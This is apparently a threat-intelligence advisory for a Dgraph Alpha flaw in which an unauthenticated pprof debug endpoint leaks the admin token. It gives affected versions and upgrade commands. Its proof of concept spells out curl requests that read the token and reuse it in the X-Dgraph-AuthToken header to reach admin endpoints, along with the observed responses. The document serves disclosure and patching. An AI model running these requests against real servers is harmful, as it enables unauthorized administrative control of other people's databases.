# CVE-2026-40173: GO-2026-5274 - Dgraph: Unauthenticated admin token disclosure via /debug/pprof/cmdline in github.com/dgraph-io/dgraph

Source: https://junglewise.ai/threats/cve-2026-40173-dgraph-unauthenticated-debug-pprof-cmdline-discloses-admin-auth  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-04-16. Updated: 2026-05-11  
License: CC BY 4.0 with a link back

CVE-2026-40173 · Severity: critical · CVSS 9.4 · Published 2026-04-16

### Summary
An unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from `--security "token=..."`.

This does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in `X-Dgraph-AuthToken`.

### Details
The behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.

The core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.

Relevant code paths:
- `dgraph/cmd/alpha/run.go:17` imports `net/http/pprof`, which registers `/debug/pprof/*` handlers on the default mux.
- `dgraph/cmd/alpha/run.go:533` uses `http.Handle("/", audit.AuditRequestHttp(baseMux))`, so default-mux handlers remain reachable.
- `dgraph/cmd/alpha/admin.go:52` enforces admin token checks in `adminAuthHandler` for admin endpoints.
- `dgraph/cmd/alpha/admin.go:74` shows `/admin/config/cache_mb` behind `adminAuthHandler`.

Credential-exposure chain:
1. `/debug/pprof/cmdline` is reachable without authentication.
2. Its output includes the configured admin token from process arguments.
3. The disclosed token is accepted by `adminAuthHandler` when sent as `X-Dgraph-AuthToken`.
4. An attacker gains unauthorized access to admin-only functionality.

Observed local evidence (safe validation):
- Request: `GET /admin/config/cache_mb` without token
  - Status: 200 (request rejected at application layer)
  - Body contains error: `Invalid X-Dgraph-AuthToken`
  - The endpoint returns HTTP 200 but indicates authentication failure in the response body.
- Request: `GET /debug/pprof/cmdline` without token
  - Status: 200
  - Body excerpt includes: `--security=token=TopSecretToken123;`
- Request: `GET /admin/config/cache_mb` with `X-Dgraph-AuthToken: TopSecretToken123`
  - Status: 200
  - Body: `4096`

Important policy/triage clarification:
- This issue persists even when the admin-token security feature is enabled: the token itself is exposed via an unauthenticated core debug endpoint, making this more than a misconfiguration-only concern.
- Network restrictions (bind/whitelist/firewall) may reduce exposure, but they do not remediate the underlying credential disclosure behavior.

### PoC

- Branch: `main`
- Commit: `b15c87e93`
- Describe: `v25.3.1`

Preconditions:
- Alpha HTTP port is reachable by attacker traffic.
- Admin token is configured via supported startup flag: `--security "token=..."`.
- `/debug/pprof/*` is exposed on the same Alpha HTTP listener.
- This behavior occurs with documented startup flags and without any non-default or unsupported configuration.

Reproduction steps:
1. Start Zero and Alpha (example local setup):
   - `dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zw`
   - `dgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./t`

2. Verify admin endpoint rejects unauthenticated request:
   - `curl -i http://127.0.0.1:8280/admin/config/cache_mb`
   - Expected body includes `Invalid X-Dgraph-AuthToken`.

3. Read token from unauthenticated debug endpoint:
   - `curl -s http://127.0.0.1:8280/debug/pprof/cmdline`
   - Expected output includes `--security=token=TopSecretToken123;`.

4. Reuse leaked token against admin endpoint:
   - `curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cache_mb`
   - Expected: successful response (example observed: `4096`).

Note: The PoC uses `127.0.0.1` only for safe local validation. The vulnerable condition is unauthenticated reachability of `/debug/pprof/cmdline`; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.

### Impact

- Unauthenticated disclosure of a sensitive admin credential via debug endpoint, enabling unauthorized privileged administrative access through token reuse
- Operators running Dgraph Alpha with admin token configured, where Alpha HTTP/debug routes are reachable by untrusted users or networks.

The attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.

Depending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through `/admin/*`.

Technologies: [github.com/dgraph-io/dgraph (Go)](https://junglewise.ai/threats/technologies/github-com-dgraph-io-dgraph), [github.com/dgraph-io/dgraph/v24 (Go)](https://junglewise.ai/threats/technologies/github-com-dgraph-io-dgraph-v24), [github.com/dgraph-io/dgraph/v25 (Go)](https://junglewise.ai/threats/technologies/github-com-dgraph-io-dgraph-v25), [github.com/hypermodeinc/dgraph/v24 (Go)](https://junglewise.ai/threats/technologies/github-com-hypermodeinc-dgraph-v24). Vendors: [Go](https://junglewise.ai/threats/vendors/go).

## Quick answers

**Is CVE-2026-40173 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-40173 being exploited in the wild.

**How severe is CVE-2026-40173?** Critical severity, with a CVSS score of 9.4, published 16 April 2026.

**Which products and versions are affected?** github.com/dgraph-io/dgraph (Go) <= 1.2.8, SEMVER:introduced=0, SEMVER:introduced=0,last_affected=1.2.8; github.com/dgraph-io/dgraph/v24 (Go) <= 24.1.7, SEMVER:introduced=0,last_affected=24.1.7; github.com/dgraph-io/dgraph/v25 (Go) < 25.3.2, SEMVER:introduced=0,fixed=25.3.2; github.com/hypermodeinc/dgraph/v24 (Go) SEMVER:introduced=0,fixed=24.1.9.

**Is there a fix for CVE-2026-40173?** Yes. github.com/dgraph-io/dgraph/v25 (Go): upgrade to 25.3.2 or later; github.com/hypermodeinc/dgraph/v24 (Go): upgrade to 24.1.9 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**Am I affected by CVE-2026-40173?** Check whether you run github.com/dgraph-io/dgraph (Go), github.com/dgraph-io/dgraph/v24 (Go), github.com/dgraph-io/dgraph/v25 (Go) or one of the others listed at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- github.com/dgraph-io/dgraph/v25 (Go): upgrade to 25.3.2 or later

  ```sh
  go get github.com/dgraph-io/dgraph/v25@v25.3.2
  ```

- github.com/hypermodeinc/dgraph/v24 (Go): upgrade to 24.1.9 or later

  ```sh
  go get github.com/hypermodeinc/dgraph/v24@v24.1.9
  ```


## Affected products

- github.com/dgraph-io/dgraph (Go) <= 1.2.8, SEMVER:introduced=0, SEMVER:introduced=0,last_affected=1.2.8
- github.com/dgraph-io/dgraph/v24 (Go) <= 24.1.7, SEMVER:introduced=0,last_affected=24.1.7
- github.com/dgraph-io/dgraph/v25 (Go) < 25.3.2, SEMVER:introduced=0,fixed=25.3.2
- github.com/hypermodeinc/dgraph/v24 (Go) SEMVER:introduced=0,fixed=24.1.9

## Identifiers

- CVE-2026-40173
- GHSA-95mq-xwj4-r47p
- GO-2026-5274

## References

- [https://api.github.com/users/komi22](https://api.github.com/users/komi22)
- [https://github.com/komi22](https://github.com/komi22)
- [https://api.github.com/users/komi22/gists%7B/gist_id%7D](https://api.github.com/users/komi22/gists%7B/gist_id%7D)
- [https://api.github.com/users/komi22/repos](https://api.github.com/users/komi22/repos)
- [https://avatars.githubusercontent.com/u/92563389?v=4](https://avatars.githubusercontent.com/u/92563389?v=4)
- [https://api.github.com/users/komi22/events%7B/privacy%7D](https://api.github.com/users/komi22/events%7B/privacy%7D)

## Related threats

- [Dgraph Zero unauthenticated HTTP admin denial of service](https://junglewise.ai/threats/cve-2026-102748-dgraph-zero-unauthenticated-http-admin-removenode-denial-of)
- [Dgraph Alpha missing authentication for external snapshot import](https://junglewise.ai/threats/cve-2026-54061-dgraph-alpha-missing-authentication-for-external-snapshot-import)
- [Dgraph DQL injection in checkUserPassword GraphQL query](https://junglewise.ai/threats/cve-2026-44840-dgraph-dql-injection-in-checkuserpassword-graphql-query)
- [GO-2026-5675 - Unauthenticated admin token disclosure via /debug/vars in github.com/dgraph-io/dgraph](https://junglewise.ai/threats/cve-2026-41492-dgraph-unauthenticated-admin-token-disclosure-leading-to)
- [GO-2026-5749 - DQL injection via unsanitized NQuad Lang field in github.com/dgraph-io/dgraph](https://junglewise.ai/threats/cve-2026-41328-dgraph-pre-auth-full-database-exfiltration-via-dql-injection-in)